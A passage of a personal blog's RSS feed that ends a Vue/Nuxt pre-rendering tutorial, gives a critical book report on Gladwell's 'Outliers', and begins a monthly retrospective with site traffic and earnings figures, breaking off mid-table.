&lt;p>The About page demonstrates one of the subtleties of pre-rendering: Nuxt only pre-renders the &lt;em>first&lt;/em> page the user visits. After that, Vue behaves like a normal SPA and redraws the page client-side any time the user navigates within the site. This is a good thing, as it means that your app retains Vue&amp;rsquo;s instant page-to-page navigation without sacrificing compatibility with services that require server-side rendering.&lt;/p>
&lt;h2 id="running-the-about-page-locally">Running the About page locally&lt;/h2>
&lt;p>To experiment with the About page, run the following commands&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>git clone https://github.com/mtlynch/hello-world-vue-pre-rendered.git
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#24909d">cd&lt;/span> hello-world-vue-pre-rendered
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>npm install
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>npm run dev
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>You&amp;rsquo;ll notice that when you navigate to &lt;a href="https://localhost:3600/about">https://localhost:3600/about&lt;/a>, the build time and the load time roughly match one another. That&amp;rsquo;s because when you run &lt;code>npm run dev&lt;/code>, Nuxt uses server-side rendering to create the page just in time.&lt;/p>













 

 








 
 
 

 
 
 






&lt;figure class="img" style="max-width: 652px">



 &lt;a href="https://mtlynch.io/simple-vue-pre-rendered/about-ssr.jpg">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 652px, 98vw"
 srcset='https://mtlynch.io/simple-vue-pre-rendered/about-ssr_hu_78863876b72768e1.jpg 300w, https://mtlynch.io/simple-vue-pre-rendered/about-ssr_hu_c74a8d87b817df2a.jpg 600w, https://mtlynch.io/simple-vue-pre-rendered/about-ssr.jpg 650w'
 src="https://mtlynch.io/simple-vue-pre-rendered/about-ssr.jpg" alt="Screenshot of About page rendered with server-side rendering" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>&lt;code>npm run dev&lt;/code> renders pages as the user requests them, so build times and load times match.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>Unlike pre-rendering, which generates the page once and keeps serving that same page, server-side rendering generates a fresh version of the page each time the user visits.&lt;/p>
&lt;h2 id="publishing-your-app">Publishing your app&lt;/h2>
&lt;p>With pre-rendering, you don&amp;rsquo;t need a Node.js server to host your app. All you need is a hosting service that supports static file hosting.&lt;/p>
&lt;p>Below are instructions for publishing static files with a few popular providers:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://firebase.google.com/docs/hosting/quickstart">Google Firebase&lt;/a> (I use this)&lt;/li>
&lt;li>&lt;a href="https://www.netlify.com/blog/2016/10/27/a-step-by-step-guide-deploying-a-static-site-or-single-page-app/">Netlify&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://docs.aws.amazon.com/AmazonS3/latest/dev/WebsiteHosting.html">Amazon S3&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://cloud.google.com/storage/docs/hosting-static-website">Google Cloud Storage&lt;/a>&lt;/li>
&lt;/ul>
&lt;h2 id="source-code">Source code&lt;/h2>
&lt;p>All code for this example is available on GitHub under the &lt;a href="https://choosealicense.com/licenses/mit/">MIT license&lt;/a>:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://github.com/mtlynch/hello-world-vue-pre-rendered">hello-world-vue-pre-rendered&lt;/a>&lt;/li>
&lt;/ul>
&lt;h2 id="a-more-feature-rich-example">A more feature-rich example&lt;/h2>
&lt;p>If you&amp;rsquo;re building a real-world app with Vue and Nuxt, you&amp;rsquo;ll want more functionality than just two pre-rendered pages. I created a template project, &lt;a href="https://github.com/mtlynch/pre-vue">pre-vue&lt;/a>, that includes all the boilerplate you need for SEO and social sharing:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://github.com/mtlynch/pre-vue">https://github.com/mtlynch/pre-vue&lt;/a> (source code)&lt;/li>
&lt;li>&lt;a href="https://pre-vue.web.app/">https://pre-vue.web.app/&lt;/a> (live demo)&lt;/li>
&lt;/ul>
&lt;p>It has the following features:&lt;/p>
&lt;ul>
&lt;li>Generates a &lt;code>robots.txt&lt;/code> file&lt;/li>
&lt;li>Generates a sitemap&lt;/li>
&lt;li>Supports unique &lt;code>&amp;lt;title&amp;gt;&lt;/code> tags and other SEO-relevant &lt;code>&amp;lt;meta&amp;gt;&lt;/code> tags for each page&lt;/li>
&lt;li>Adds unique &lt;a href="https://ogp.me/">Open Graph&lt;/a> tags to each page&lt;/li>
&lt;li>Adds Google Analytics support&lt;/li>
&lt;li>Adds a favicon&lt;/li>
&lt;li>Handles 404s&lt;/li>
&lt;/ul>
&lt;p>I used the pre-vue template to rewrite the &lt;a href="https://zestfuldata.com/">Zestful demo site&lt;/a>, which was previously an Angular SPA. The &lt;a href="https://github.com/mtlynch/pre-vue">README&lt;/a> explains how to use pre-vue, but I&amp;rsquo;ll publish a detailed blog post explaining the details if there&amp;rsquo;s interest.&lt;/p></content:encoded></item><item><title>Outliers by Malcolm Gladwell</title><link>https://mtlynch.io/book-reports/outliers/</link><pubDate>Mon, 16 Dec 2019 00:00:00 +0000</pubDate><guid>https://mtlynch.io/book-reports/outliers/</guid><description>&lt;p>Like all Gladwell books, &lt;em>Outliers&lt;/em> does an excellent job of building an engaging narrative out of topics that the average person might otherwise find inaccessible. His exploration into the causes of airline crashes was especially fascinating.&lt;/p>
&lt;p>While it provides a nice collection of interesting stories, I didn&amp;rsquo;t feel like &lt;em>Outliers&lt;/em> delivered on any meaningful overarching point.&lt;/p></description><content:encoded>&lt;p>Like all Gladwell books, &lt;em>Outliers&lt;/em> does an excellent job of building an engaging narrative out of topics that the average person might otherwise find inaccessible. His exploration into the causes of airline crashes was especially fascinating.&lt;/p>
&lt;p>While it provides a nice collection of interesting stories, I didn&amp;rsquo;t feel like &lt;em>Outliers&lt;/em> delivered on any meaningful overarching point.&lt;/p>
&lt;p>I remember loving Malcolm Gladwell books when I was in college. My friends and I excitedly discussed &lt;em>The Tipping Point&lt;/em> and &lt;em>Blink&lt;/em> because they made dry scientific studies seem cool and interesting.&lt;/p>
&lt;p>In the past few years, I&amp;rsquo;ve noticed people increasingly mocking Gladwell and his fans. Did he become so popular that it was no longer cool to like him? Did his books get worse? Or do his ideas seem contrived and immature once you have some distance from college? I&amp;rsquo;m still not sure, but I didn&amp;rsquo;t enjoy &lt;em>Outliers&lt;/em> the way I used to enjoy other Gladwell books.&lt;/p>
&lt;hr>
&lt;h2 id="what-i-liked">What I liked&lt;/h2>
&lt;ul>
&lt;li>Gladwell writes with an engaging, easy-to-read style.&lt;/li>
&lt;li>Many of the case studies are compelling.
&lt;ul>
&lt;li>Fascinating exploration of the connection between plane crashes and status differential between pilots and their first officers.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h2 id="what-i-disliked">What I disliked&lt;/h2>
&lt;ul>
&lt;li>Gladwell&amp;rsquo;s overarching theories to tie together all of the case studies felt flimsy and unconvincing.
&lt;ul>
&lt;li>&lt;em>See also&lt;/em>: every other Malcolm Gladwell book ever.&lt;/li>
&lt;li>He basically argues that Asian Americans outperform other ethnic groups academically because rice is harder to grow than Western crops, so Asians have a cultural tolerance for hard work.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Some of his conclusions feel outright illogical.
&lt;ul>
&lt;li>If our selection systems for junior hockey leagues were less biased, we&amp;rsquo;d have twice as many elite hockey players?&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Many of the supporting studies made me skeptical.
&lt;ul>
&lt;li>Gladwell often illustrates points using one or two studies on social behavior without discussing whether anyone has replicated these studies on larger or more diverse samples.&lt;/li>
&lt;li>In general, it feels like Gladwell is cherry-picking data to support his theories.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h2 id="key-takeaways">Key takeaways&lt;/h2>
&lt;h3 id="self-fulfilling-prophecy-and-relative-age">Self-fulfilling prophecy and relative age&lt;/h3>
&lt;ul>
&lt;li>Elite junior hockey players in Canada are skewed such that most top players have birthdays that fall in January, February, or March.&lt;/li>
&lt;li>In Little Leauge, the age cutoff for the year is Jan. 1.&lt;/li>
&lt;li>At tryouts time, children born early are more developed than those born later in the year.
&lt;ul>
&lt;li>e.g., If you have tryouts on Jan. 1, 2019 for kids born in 2014, the kid who was born Jan 1, 2015 is 5 years old, whereas the kid born Dec. 31st only turned 4 the previous day. The Jan. 1 kid is 25% older and more developed.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Early in their career, early birthday kids perform better. As a result, more competitive leagues accept them, and coaches give them more attention and specialized training.
&lt;ul>
&lt;li>All of these things amplify these differences in ability so that they persist even when the age difference becomes less significant.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Skews due to relative age depend on three preconditions:
&lt;ul>
&lt;li>&lt;strong>selection&lt;/strong>: groups are selected for skill at a young age&lt;/li>
&lt;li>&lt;strong>streaming&lt;/strong>: after selection, players are separated into independent streams&lt;/li>
&lt;li>&lt;strong>differentiated experience&lt;/strong>: members of the elite group receive more practice time and instruction than others.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Also known as &lt;a href="https://en.wikipedia.org/wiki/Matthew_effect">The Matthew Effect&lt;/a>.&lt;/li>
&lt;/ul>
&lt;h3 id="exceptionalism-and-opportunity">Exceptionalism and opportunity&lt;/h3>
&lt;ul>
&lt;li>Exceptionally successful people have talent and drive, but they&amp;rsquo;re often born in circumstances that allow them to capitalize on rare opportunities.&lt;/li>
&lt;li>Of the 75 &lt;a href="https://web.archive.org/web/20230726160326/https://en.wikipedia.org/wiki/List_of_wealthiest_historical_figures">richest people in history&lt;/a>, 14 were born in the US within nine years of each other (1831-1839).
&lt;ul>
&lt;li>The industrial revolution took place in the 1860s-1870s, so men born in the 1830s were poised to capitalize on it. It meant that when they reached the 1860s, they were the young entrepreneurs hungry to launch disruptive new businesses.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>A disproportionate number of modern tech giants were born between 1953-1956.
&lt;ul>
&lt;li>The digital revolution happened in the 1970s, so people born in the 1950s were the young entrepreneurs best positioned to capitalize on it.
&lt;ul>
&lt;li>&lt;a href="https://en.wikipedia.org/wiki/Bill_Gates">Bill Gates&lt;/a> (Microsoft): born 1955&lt;/li>
&lt;li>&lt;a href="https://en.wikipedia.org/wiki/Paul_Allen">Paul Allen&lt;/a> (Microsoft): born 1955&lt;/li>
&lt;li>&lt;a href="https://en.wikipedia.org/wiki/Steve_Ballmer">Steve Ballmer&lt;/a> (Microsoft): born 1956&lt;/li>
&lt;li>&lt;a href="https://en.wikipedia.org/wiki/Steve_Jobs">Steve Jobs&lt;/a> (Apple): born 1955&lt;/li>
&lt;li>&lt;a href="https://en.wikipedia.org/wiki/Eric_Schmidt">Eric Schmidt&lt;/a> (Google): born 1955&lt;/li>
&lt;li>&lt;a href="https://en.wikipedia.org/wiki/Bill_Joy">Bill Joy&lt;/a> (Sun Microsystems): born 1954&lt;/li>
&lt;li>&lt;a href="https://en.wikipedia.org/wiki/Scott_McNealy">Scott McNealy&lt;/a> (Sun Microsystems): born 1954&lt;/li>
&lt;li>&lt;a href="https://en.wikipedia.org/wiki/Vinod_Khosla">Vinod Khosla&lt;/a> (Sun Microsystems): born 1955&lt;/li>
&lt;li>&lt;a href="https://en.wikipedia.org/wiki/Andy_Bechtolsheim">Andy Bechtolsheim&lt;/a> (Sun Microsystems): born 1955&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="iq-and-achievement">IQ and achievement&lt;/h3>
&lt;ul>
&lt;li>IQ in life success is like height in basketball,
&lt;ul>
&lt;li>You need to be at least 6'1 to have a reasonable shot at the NBA, but 6'8 players are not substantially better than 6'2 players.&lt;/li>
&lt;li>Similarly, your IQ needs to be above a certain threshold to achieve exceptional success, but above that threshold, it&amp;rsquo;s not a good predictor of success.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;a href="https://en.wikipedia.org/wiki/Genetic_Studies_of_Genius">Terman&amp;rsquo;s Termites&lt;/a>
&lt;ul>
&lt;li>Lewis Terman conducted a long study where he selected 1,470 children with the highest IQs among a pool of 250,000 children whose IQ was tested.&lt;/li>
&lt;li>Terman lovingly referred to the children in the study as his &amp;ldquo;Termites.&amp;rdquo; &lt;em>[Ed: Awful name]&lt;/em>&lt;/li>
&lt;li>None of the children in the group achieved exceptional success as adults.
&lt;ul>
&lt;li>They performed about the same as a random sample of children.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Two children that Terman rejected later went on to win Nobel prizes.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Nobel laureates tend to graduate from pretty good undergraduate colleges, but they don&amp;rsquo;t come exclusively from top-tier schools like Harvard or MIT.&lt;/li>
&lt;/ul>
&lt;h3 id="the-rise-of-jewish-lawyers-in-the-1970s">The rise of Jewish lawyers in the 1970s&lt;/h3>
&lt;ul>
&lt;li>Jewish lawyers achieved exceptional success in the 1970s because established law firms didn&amp;rsquo;t handle hostile takeovers.&lt;/li>
&lt;li>Prior to the 1970s and the rise of private equity, business leaders avoided hostile takeovers because they were considered &amp;ldquo;ungentlemanly.&amp;rdquo;
&lt;ul>
&lt;li>Business was an old boys&amp;rsquo; club, so executives didn&amp;rsquo;t want to take over their friend&amp;rsquo;s business.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Elite firms excluded Jews, so when someone needed lawyers to handle hostile takeovers, they used Jewish law firms.&lt;/li>
&lt;li>From mid-70s to late 80s, money involved in mergers and acquisitions deals increased 2,000% per year, peaking at $250B.&lt;/li>
&lt;li>The lawyers who benefitted most from the rise in hostile takeovers were disproportionately Jewish because they had the most experience with hostile takeovers.&lt;/li>
&lt;/ul>
&lt;h3 id="honor-culture-of-the-south">&amp;ldquo;Honor culture&amp;rdquo; of the South&lt;/h3>
&lt;ul>
&lt;li>Dov Cohen and Richard Nesbitt ran &lt;a href="https://www.ncbi.nlm.nih.gov/pubmed/8656339">a series of studies&lt;/a> on college students that found that when they insulted their test subjects, Southerners were more likely to suggest violent solutions to a hypothetical scenario the researchers later presented to them, whereas Northerners were unaffected.&lt;/li>
&lt;li>Gladwell suggests that this is related to the fact that Southerners historically raised more livestock, whereas Northerners grew more crops.
&lt;ul>
&lt;li>Livestock is easier to steal, so livestock farmers need to build a reputation as vengeful and strong to discourage theft.&lt;/li>
&lt;li>Generally, this type of culture is called a &amp;ldquo;culture of honor.&amp;rdquo;&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="ethnic-theory-of-plane-crashes">Ethnic theory of plane crashes&lt;/h3>
&lt;ul>
&lt;li>One contributor to plane crashes is the communication style between the captain and their first office.
&lt;ul>
&lt;li>If the first officer is too deferential to the captain, they fail to assert themselves clearly when they believe the captain is committing an error.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Crash of &lt;a href="https://en.wikipedia.org/wiki/Avianca_Flight_52">Avianca flight 52&lt;/a> is a famous example of deferential speech leading to a crash.
&lt;ul>
&lt;li>The flight crashed just outside of JFK after running out of fuel.&lt;/li>
&lt;li>Several factors made the flight dangerous: weather was bad, pilots were tired, auto-pilot was malfunctioning, air traffic control repeatedly put the plane into a holding pattern before granting it clearance to land.&lt;/li>
&lt;li>First officer recognized problems but only raised them to the captain indirectly.&lt;/li>
&lt;li>Both pilots recognized that they were dangerously low on fuel but did not communicate this clearly to air traffic control, who could have prioritized their landing.
&lt;ul>
&lt;li>The black box recordings suggest that the JFK air traffic controllers&amp;rsquo; brusque communication style intimidated the Colombian pilots, and they didn&amp;rsquo;t want to upset air traffic control.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h4 id="levels-of-mitigated-speech">Levels of &amp;ldquo;mitigated speech&amp;rdquo;&lt;/h4>
&lt;blockquote>
&lt;ol>
&lt;li>&lt;em>Command&lt;/em>: &amp;ldquo;Turn thirty degrees right.&amp;rdquo; That&amp;rsquo;s the most direct and explicit way of making a point imaginable. It&amp;rsquo;s zero mitigation.&lt;/li>
&lt;li>&lt;em>Crew Obligation Statement&lt;/em>: &amp;ldquo;I think we need to deviate right about now.&amp;rdquo; Notice the use of &amp;ldquo;we&amp;rdquo; and the fact that the request is now much less specific. That&amp;rsquo;s a little softer.&lt;/li>
&lt;li>&lt;em>Crew Suggestion&lt;/em>: &amp;ldquo;Let&amp;rsquo;s go around the weather.&amp;rdquo; Implicit in that statement is &amp;ldquo;we&amp;rsquo;re in this together.&amp;rdquo;&lt;/li>
&lt;li>&lt;em>Query&lt;/em>: &amp;ldquo;Which direction would you like to deviate?&amp;rdquo; That&amp;rsquo;s even softer than a crew suggestion because the speaker is conceding that he&amp;rsquo;s not in charge.&lt;/li>
&lt;li>&lt;em>Preference&lt;/em>: &amp;ldquo;I think it would be wise to turn left or right.&amp;rdquo;&lt;/li>
&lt;li>&lt;em>Hint&lt;/em>: &amp;ldquo;That return at twenty-five miles looks mean.&amp;rdquo; This is the most mitigated statement of all.&lt;/li>
&lt;/ol>&lt;/blockquote>
&lt;ul>
&lt;li>Captains overwhelmingly speak in commands (#1), the least mitigated form of speech.&lt;/li>
&lt;li>First officers typically speak to their captain in hints (#6), the most mitigated form of speech.&lt;/li>
&lt;li>Crashes are more common when the captain is flying.
&lt;ul>
&lt;li>Even though the first officer usually has less experience, it means that the person &lt;em>not&lt;/em> flying is more comfortable speaking up when the active pilot is making an error.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Airlines have begun teaching first officers to escalate concerns using increasingly direct speech in every request:&lt;/li>
&lt;/ul>
&lt;blockquote>
&lt;ol>
&lt;li>&amp;ldquo;Captain, I&amp;rsquo;m concerned about&amp;hellip;&amp;rdquo;&lt;/li>
&lt;li>&amp;ldquo;Captain, I&amp;rsquo;m uncomfortable with&amp;hellip;&amp;rdquo;&lt;/li>
&lt;li>&amp;ldquo;Captain, I believe the situation is unsafe.&amp;rdquo;&lt;/li>
&lt;/ol>&lt;/blockquote>
&lt;h4 id="hofstede">&lt;a href="https://en.wikipedia.org/wiki/Hofstede%27s_cultural_dimensions_theory">Hofstede&amp;rsquo;s dimensions&lt;/a>&lt;/h4>
&lt;ul>
&lt;li>Geert Hofstede worked as an HR psychologist for IBM and surveyed people from many different countries to measure differences in cultural attitudes.
&lt;ul>
&lt;li>&amp;ldquo;Hofstede&amp;rsquo;s dimensions&amp;rdquo; are the different metrics that came out of this work.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;strong>Power Distance Index&lt;/strong> (PDI): One of Hofstede&amp;rsquo;s dimensions that measures how much a culture respects authority&lt;/li>
&lt;li>The PDI might have been a factor in the crash of Avianca flight 52.
&lt;ul>
&lt;li>Colombia&amp;rsquo;s culture has a high PDI (i.e., subordinates are expected to be deferential to their superiors)&lt;/li>
&lt;li>NYC is a low-PDI culture (i.e., New Yorkers are known for being direct, even with superiors)&lt;/li>
&lt;li>First officer used mitigated speech to the captain due to their high PDI cultural dynamic.&lt;/li>
&lt;li>NYC air traffic controllers didn&amp;rsquo;t understand pilots&amp;rsquo; subtle hints (mitigated speech) because they&amp;rsquo;re accustomed to directness.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Countries with high PDI scores tend to be the countries with the most plane crashes.&lt;/li>
&lt;/ul>
&lt;h3 id="why-chinese-students-outperform-western-students-academically">Why Chinese students outperform Western students academically&lt;/h3>
&lt;p>&lt;em>[Ed: This was the most far-fetched, least substantiated section of the book.]&lt;/em>&lt;/p>
&lt;ul>
&lt;li>Chinese students outperform others academically because rice is difficult to grow.&lt;/li>
&lt;li>There&amp;rsquo;s a correlation between how many numbers a person can memorize in sequence and how quickly they can pronounce the numbers in their language.
&lt;ul>
&lt;li>Numbers take less time to pronounce in Chinese than in English.&lt;/li>
&lt;li>50% of English speakers can memorize a 7-digit sequence, but nearly 100% of Chinese speakers can.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>The Chinese language represents numbers with more regularity than English.
&lt;ul>
&lt;li>English has lots of exceptions and strange rules. For example, 11 is &amp;ldquo;eleven,&amp;rdquo; whereas in Chinese, it&amp;rsquo;s more like &amp;ldquo;ten-one.&amp;rdquo;
&lt;ul>
&lt;li>Chinese children can count and do arithmetic from an earlier age, likely because of this regularity in the language.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Rice paddies are small, like the size of a hotel room, and farms only have 2-3 paddies.&lt;/li>
&lt;li>Western farms grow by expanding land, so they scale by adding labor and mechanization.&lt;/li>
&lt;li>Rice paddies increase their yield by increasing efficiency with the same amount of land.&lt;/li>
&lt;li>Rice farming requires more labor than any other type of agriculture.
&lt;ul>
&lt;li>European peasants in the 18th century worked from dawn until noon for a few months per year, but they were idle in winter months.
&lt;ul>
&lt;li>Total work was ~1200 hours/year.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Rice farming is 10-20x more labor-intensive than the equivalent size wheat or cornfield.
&lt;ul>
&lt;li>Rice farmers worked ~3000 hours/year.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;a href="https://en.wikipedia.org/wiki/Trends_in_International_Mathematics_and_Science_Study">TIMMS&lt;/a> is an international math &amp;amp; science test that provides comparisons of aptitude across countries.
&lt;ul>
&lt;li>It starts with a 120-question survey about the student&amp;rsquo;s background.&lt;/li>
&lt;li>The survey has so many questions that many students fail to complete the survey in full.&lt;/li>
&lt;li>The average completion rate of the questionnaire by country corresponds perfectly with the average math &amp;amp; science score for that country.
&lt;ul>
&lt;li>In other words, you could rank each country&amp;rsquo;s average math and science aptitude without every testing math or science. Just look at the percentage of students who completed the pre-test survey.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>All five top-scoring countries by TIMMS are countries with a history of farming rice.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>The US educational system was highly influenced by reformers who feared the risks of &amp;ldquo;overstudy.&amp;rdquo;
&lt;ul>
&lt;li>They thought overstudy could cause insanity, so they added summer breaks and built-in opportunities for students&amp;rsquo; minds to &amp;ldquo;rest&amp;rdquo; by not studying.&lt;/li>
&lt;li>Asian schools don&amp;rsquo;t have summer breaks or the expectation that study requires breaks.&lt;/li>
&lt;li>Farming may have influenced these different views of education, as Western crops need the soil to lie fallow for long periods, whereas this is not necessary when farming rice.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>According to results of &lt;a href="https://dataverse.harvard.edu/dataset.xhtml?persistentId=hdl:1902.1/01293">standardized testing in Baltimore&lt;/a>, summer breaks weaken reading ability for lower-income students.
&lt;ul>
&lt;li>Wealthier students more frequently have access to educational programs over the summer, so their scores generally increase at the end of the summer.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;a href="https://en.wikipedia.org/wiki/KIPP">KIPP&lt;/a> is an experimental middle school for low-income minority students that demands intense study.
&lt;ul>
&lt;li>The school is highly structured, and students basically study non-stop every waking hour of the day.&lt;/li>
&lt;li>The rigorous program yields impressive results:
&lt;ul>
&lt;li>89% of students reach or exceed their grade level in math.&lt;/li>
&lt;li>90% of students get scholarships to private high schools.&lt;/li>
&lt;li>80% of students go on to attend college.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul></content:encoded></item><item><title>I'm Probably Procrastinating</title><link>https://mtlynch.io/retrospectives/2019/12/</link><pubDate>Thu, 05 Dec 2019 00:00:00 +0000</pubDate><guid>https://mtlynch.io/retrospectives/2019/12/</guid><description>&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>A change to Zestful&amp;rsquo;s website boosted it to the front page of Google results within days.&lt;/li>
&lt;li>I&amp;rsquo;m going to try to make a better version of a decades&amp;rsquo; old application for managing machine shops.&lt;/li>
&lt;li>I&amp;rsquo;m doing lots of coding to avoid talking to customers.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I &lt;a href="https://mtlynch.io/retrospectives/2019/11/#goals-for-next-month">declare what I&amp;rsquo;d like to accomplish&lt;/a>. Here&amp;rsquo;s how I did against those goals:&lt;/p>
&lt;h3 id="publish-a-new-blog-post-about-eliminating-distractions-from-email-and-social-media">Publish a new blog post about eliminating distractions from email and social media&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: I published &lt;a href="https://mtlynch.io/eliminate-distractions/">&amp;ldquo;Eliminating Distractions from Social Media, Email, and StackOverflow&amp;rdquo;&lt;/a>&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: A&lt;/li>
&lt;/ul>
&lt;p>I published this post as planned but was surprised how little a response it generated. I&amp;rsquo;ve had a string of posts that I knew were too narrowly-focused to get widespread attention, but I thought a blog post about focus in the age of social media would attract more interest.&lt;/p></description><content:encoded>&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>A change to Zestful&amp;rsquo;s website boosted it to the front page of Google results within days.&lt;/li>
&lt;li>I&amp;rsquo;m going to try to make a better version of a decades&amp;rsquo; old application for managing machine shops.&lt;/li>
&lt;li>I&amp;rsquo;m doing lots of coding to avoid talking to customers.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I &lt;a href="https://mtlynch.io/retrospectives/2019/11/#goals-for-next-month">declare what I&amp;rsquo;d like to accomplish&lt;/a>. Here&amp;rsquo;s how I did against those goals:&lt;/p>
&lt;h3 id="publish-a-new-blog-post-about-eliminating-distractions-from-email-and-social-media">Publish a new blog post about eliminating distractions from email and social media&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: I published &lt;a href="https://mtlynch.io/eliminate-distractions/">&amp;ldquo;Eliminating Distractions from Social Media, Email, and StackOverflow&amp;rdquo;&lt;/a>&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: A&lt;/li>
&lt;/ul>
&lt;p>I published this post as planned but was surprised how little a response it generated. I&amp;rsquo;ve had a string of posts that I knew were too narrowly-focused to get widespread attention, but I thought a blog post about focus in the age of social media would attract more interest.&lt;/p>
&lt;p>It got a small amount of traction &lt;a href="https://redd.it/dva6b3">on Reddit&lt;/a> and &lt;a href="https://twitter.com/deliberatecoder/status/1193942635960029184">Twitter&lt;/a>, but it didn&amp;rsquo;t attract many readers overall (around 800 total to date).&lt;/p>
&lt;p>On the positive side, I&amp;rsquo;ve heard good feedback from the people who did read it. A couple people told me that they picked up tips from the article that improved their productivity, so that&amp;rsquo;s been rewarding to hear.&lt;/p>
&lt;h3 id="interview-five-customers-for-a-potential-new-business">Interview five customers for a potential new business&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Interviewed three customers&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: C&lt;/li>
&lt;/ul>
&lt;p>In a &lt;em>sense&lt;/em>, I had three customer interviews, but for a very generous definition of &amp;ldquo;customer interview.&amp;rdquo; Only one was a true customer interview. Another was a general meeting with someone unlikely to become a customer, and the last was a brief in-person discussion and an invitation to follow up in December.&lt;/p>
&lt;p>Given that my only real goal for the month was to interview customers, three is very few. It&amp;rsquo;s partially due to my aversion to sales and my tendency toward trying to solve problems with code. There&amp;rsquo;s also a problem in that this requires networking, and it&amp;rsquo;s hard to begin networking from a cold start.&lt;/p>
&lt;h2 id="stats">Stats&lt;/h2>
&lt;h3 id="is-it-keto">&lt;a href="https://isitketo.org">Is It Keto&lt;/a>&lt;/h3>
&lt;div class="finances-chart">
 &lt;canvas id="isitketo-finances-chart">&lt;/canvas>
&lt;/div>

&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>October 2019&lt;/th>
 &lt;th>November 2019&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Unique Visitors&lt;/td>
 &lt;td>26,315&lt;/td>
 &lt;td>27,981&lt;/td>
 &lt;td>&lt;font color="green">+1,666 (+6%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Total Pageviews&lt;/td>
 &lt;td>66,578&lt;/td>
 &lt;td>69,090&lt;/td>
 &lt;td>&lt;font color="green">+2,512 (+4%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Domain Authority (Moz)&lt;/td>
 &lt;td>13&lt;/td>
 &lt;td>14&lt;/td>
 &lt;td>&lt;font color="green">+1 (+8%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Ranking Keywords (Moz)&lt;/td>
 &lt;td>1,574&lt;/td>
 &lt;td>1,654&lt;/td>
 &lt;td>&lt;font color="green">+80 (+5%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>AdSense Earnings&lt;/td>
 &lt;td>$75.65&lt;/td>
 &lt;td>$151.07&lt;/td>
 &lt;td>&lt;font color="green">+$75.42 (+100%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Amazon Affiliate Earnings&lt;/td>
 &lt;td>$159.02&lt;/td>
 &lt;td>$118.00&lt;/td>
 &lt;td>&lt;font color="red">-$41.02 (-26%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Meal Plan Sales&lt;/td>
 &lt;td>$23.87&lt;/td>
 &lt;td>$0.00&lt;/td>
